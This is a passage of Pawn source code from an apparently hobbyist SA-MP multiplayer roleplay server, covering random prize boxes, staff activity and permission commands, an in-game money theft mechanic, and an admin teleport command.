		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 17)
		 {
		 new RandomKon = RandomShomare(4068,30574);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 18)
		 {
		 new RandomKon = RandomShomare(405,900);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 19)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 PlayerInfo[playerid][pBox]++;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}another box",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 20)
		 {
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything but %s box didn't gone",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 }
		 return 1;
		 }
		 // By SiNaGaMeR
		 /*
		  if(strcmp(cmd, "/MySActivity", true) == 0)
		 {
		if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] == 0 && PINFO[playerid][pLeader] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not part of Staff Team.");
		if(PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] == 0 && PlayerInfo[playerid][pAdmin] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Helper {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}8{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActH]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pLeader] == 0 && PlayerInfo[playerid][pHelper] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Admin {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}10{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActA]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pHelper] == 0 && PlayerInfo[playerid][pAdmin] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Leader {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}6{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActL]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Admin {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}10{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActA]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] >= 1)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Admin {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}10{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActA]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pAdmin] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Helper {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}8{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActH]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pHelper] == 0)
		{
		new string[512];
		format(string, sizeof(string), "[STAFF-ACTIVITY]:{00FF00} Admin {FF0000}%s{00FF00}, You have {FF0000}%d{00FF00}/{FF0000}10{00FF00} Staff-Activity.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pActA]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		}
		
		
		
		
		*/
		
		if(strcmp(cmd, "/MySActivity", true) == 0)
		 {
		if(!IsStaff(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You are not part of staff team.");
	    new stringz[144];
	    new stringzz[144];
	    new stringzxx[144];
		if(PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] == 0 && PlayerInfo[playerid][pAdmin] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff0000}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pLeader] == 0 && PlayerInfo[playerid][pHelper] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pHelper] == 0 && PlayerInfo[playerid][pAdmin] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringz, sizeof(stringz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] >= 1)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pHelper] >= 1 && PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pAdmin] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(PlayerInfo[playerid][pAdmin] >= 1 && PlayerInfo[playerid][pLeader] >= 1 && PlayerInfo[playerid][pHelper] == 0)
		{
		 if(PINFO[playerid][pActHour] < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(PINFO[playerid][pActHour] >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}Your activity{33AA33}]_____________________");
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[playerid][pActHour], PlayerInfo[playerid][pActMin], PlayerInfo[playerid][pActSec], PlayerInfo[playerid][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", PlayerInfo[playerid][pActHourOver], PlayerInfo[playerid][pActMinOver], PlayerInfo[playerid][pActSecOver]);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		 
		return 1;
		}
		if(strcmp(cmd, "/musicall", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		ShowPlayerDialog(playerid,6553,DIALOG_STYLE_LIST,"Music To All","Radio \t\nSaved Musics\t\nInsert URL \t\nOff Music","Select","Cancel");
		return 1;
		}
		
		/*
		if(strcmp(cmd, "/managements", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10 && PINFO[playerid][pSlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		new buyabler[2048];
		format(buyabler,sizeof(buyabler),"Leaders management \t\nHelpers management\t\nAdmins management \t\nWar management \t\n Staff management");
		ShowPlayerDialog(playerid,8512,DIALOG_STYLE_LIST,"Managements",buyabler,"Select","Cancel");
		return 1;
		}
		*/
	   if(strcmp(cmd, "/permissions", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0 && PINFO[playerid][pHlp] == 0 && PINFO[playerid][pAlp] == 0 && PINFO[playerid][pWlp] == 0 && PINFO[playerid][pSlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		if(PINFO[playerid][pMlp] != 0 || PINFO[playerid][pAdmin] >= 6)
		{
	   SendClientMessage(playerid, COLOR_GRAD1, "Leaders management cmds: /ml, /auninvite, /showsactivity, /aleaders, /checkav, /faclock, /fmaxmembers, /fminlevel");
	   }
	   if(PINFO[playerid][pHlp] != 0 || PINFO[playerid][pAdmin] >= 6)
	   {
	   SendClientMessage(playerid, COLOR_GRAD2, "Helpers management cmds: /makehelper, /showsactivity, /ahelpers, /checkav");
	   }
	   if(PINFO[playerid][pAlp] != 0 || PINFO[playerid][pAdmin] >= 6)
	   {
	   SendClientMessage(playerid, COLOR_GRAD3, "Admins management cmds: /makeadmin, /showsactivity, /aadmins, /checkav");
	   }
	   if(PINFO[playerid][pWlp] != 0 || PINFO[playerid][pAdmin] >= 6)
	   {
	   SendClientMessage(playerid, COLOR_GRAD4, "War management cmds: /setturfowner, /endwar, /endwar2, /stopwar, /cwar");
	   }
	   if(PINFO[playerid][pSlp] != 0 || PINFO[playerid][pAdmin] >= 6)
	   {
	   SendClientMessage(playerid, COLOR_GRAD5, "Staff management cmds: /permission, /aleaders, /ahelpers, /aadmins, /checkav, /staffmsg, /sgh, /smeetingtime, /stopsmeeting");
	   }
		return 1;
		}
		
		
		
		if(strcmp(cmd, "/theft", true) == 0)// By Sina (Rewrite)
		{
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /theft <Playerid/PartOfName>");
			new taraf = ReturnUser6(tmp);
			new formater[144];
			if(Dozdidam[playerid] != 0)return SCM(playerid, COLOR_YELLOW2, "Error: You theft a player recently.");
			if(IsACop(playerid))return SCM(playerid, COLOR_YELLOW2, "Error: You are a cop.");
			if(taraf == playerid)return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't theft yourself.");
			if(!IsPlayerConnected(taraf))return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[taraf][pLevel] < 3)return SCM(playerid, COLOR_YELLOW2, "Error: That player's level is low.");
			if(GetPlayerInterior(playerid) != 0)return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't theft here.");
			if(InSleep[playerid] == 1)return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't theft in this state.");
			if(InSleep[taraf] == 1)return SCM(playerid, COLOR_YELLOW2, "Error: That player slept.");
			if(GetPlayerState(taraf) != PLAYER_STATE_ONFOOT)return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't theft this player because of their state.");
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT)return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't theft in this state.");
			if(!ProxDetectorS(1,playerid,taraf))return SCM(playerid,COLOR_YELLOW2,"Error: You are too away from this player.");
			if(GetPlayerPool(taraf) < 1000)return SCM(playerid,COLOR_YELLOW2,"Error: That player hasn't enough cash to theft.");
			if(dialogbet[taraf] == 1)return SCM(playerid,COLOR_YELLOW2,"Error: That player is betting.");
			if(Dozdidan[taraf] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player's money stolen recently.");
			if(AFKTime[taraf] > 70)return SCM(playerid,COLOR_YELLOW2,"Error: That player is AFK.");
			new Randd = RandomShomare(1,2);
			if(Randd == 1)
			{
			new maxmoney = (GetPlayerPool(taraf)-500);
            new RandomMoney = RandomShomare(200,maxmoney);
            new cash = RandomMoney;
            if(cash >= 10001) { cash = 10000; }
            GivePlayerPool(playerid, cash);
            GivePlayerPool(taraf, -cash);
            format(formater, sizeof(formater), "You stolen $%s from %s", FormatNumber(cash), RPName(taraf));
            SCM(playerid, COLOR_SINASABZ, formater);
            format(formater, sizeof(formater), "Player %s has stolen $%s from you.", RPName(playerid), FormatNumber(cash));
            SCM(taraf, COLOR_SINAGHERMEZ, formater);
            Dozdidam[playerid] = 1;
            Dozdidan[taraf] = 1;
            DozdidamTimer[playerid] = SetTimerEx("DozdidamDige", 10000, false, "i", playerid);
            DozdidanTimer[playerid] = SetTimerEx("DozdidanDige", 120000, false, "i", playerid);
		    format(formater, sizeof(formater), "%s stolen some money", PINFO[playerid][pName]);
            WantedBede(playerid, 1, "Thefting", formater);
			return 1;
		    }
		    if(Randd == 2)
		    {
		    	SCM(playerid, COLOR_SINAGHERMEZ, "Theft was unsuccessful.");
		    	format(formater, sizeof(formater), "%s tried to theft", PINFO[playerid][pName]);
                WantedBede(playerid, 3, "Thefting", formater);
                return 1;
		    }
			return 1;
		}








// ----------------------------------------------------
		if(strcmp(cmd, "/goto", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pHelper] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /goto <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Player isn't connected.");
			//if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't teleport to any player because you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command, because you're sleeping.");
			if(user == playerid) return SCM(playerid,COLOR_SINA2,"Error: You can't use this command for yourself.");
			if(ragoto[playerid] == 0 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_SINA2,"Error: You can't goto, first request a goto.");
		  //if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0 && PINFO[user][pAdmin] >= 1) return SCM(playerid,COLOR_SINA2,"Error: You can't goto admins.");
		  if(Specing[user] >= 1) return SCM(playerid,COLOR_SINA2,"Error: That player is on specing.");
		  if(ragoto[playerid] != 1 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You haven't permission to goto.");
			if(NoGoto[user] == 1 && PINFO[playerid][pAdmin] < 10 && PINFO[user][pAdmin] < PINFO[playerid][pAdmin])
			{
			SCM(playerid, COLOR_YELLOW2, "Error: That player enabled NoGoto.");
			return 1;
			}
	        if(gPlayerLogged[user] != 1) return SCM(playerid,COLOR_SINA2,"Error: You can't go to this player now.");
			//if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You Can't Use Goto Command To Your Higher Admin.");
			GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
			GoBack1[playerid][0] = GetPlayerInterior(playerid);
			GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
			GoBack1[playerid][2] = Mahal[playerid];
			GoBack1[playerid][3] = TooHouse[playerid];
			GoBack1[playerid][4] = TooBiz[playerid];
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(user,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(user)) GetVehiclePos(GetPlayerVehicleID(user),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(user));
			SetPlayerInterior(playerid,GetPlayerInterior(user));
			Mahal[playerid] = Mahal[user];
			TooHouse[playerid] = TooHouse[user];
			TooBiz[playerid] = TooBiz[user];
			if(TooBiz[user] == 9 || TooBiz[user] == 8 || Mahal[user] == 2) FreezePlayer(playerid);
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			if(PINFO[playerid][pSponser] == 1)
			{
			new toto[128];
			format(toto,sizeof(toto),"{C60000}Sponsor %s goes to you",admname);
			SCM(user,COLOR_RED,toto);
			return 1;
			}
			if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0)
			{
			new toto[128];
			format(toto,sizeof(toto),"{C60000}Helper %s goes to you",admname);
			new adm[114];
			format(adm, sizeof(adm), "[Helper-Warn]: {FFFFFF}Helper %s goes to player %s.", admname, tarafn);
		  SendHelperMessage(COLOR_SINAABI, adm);
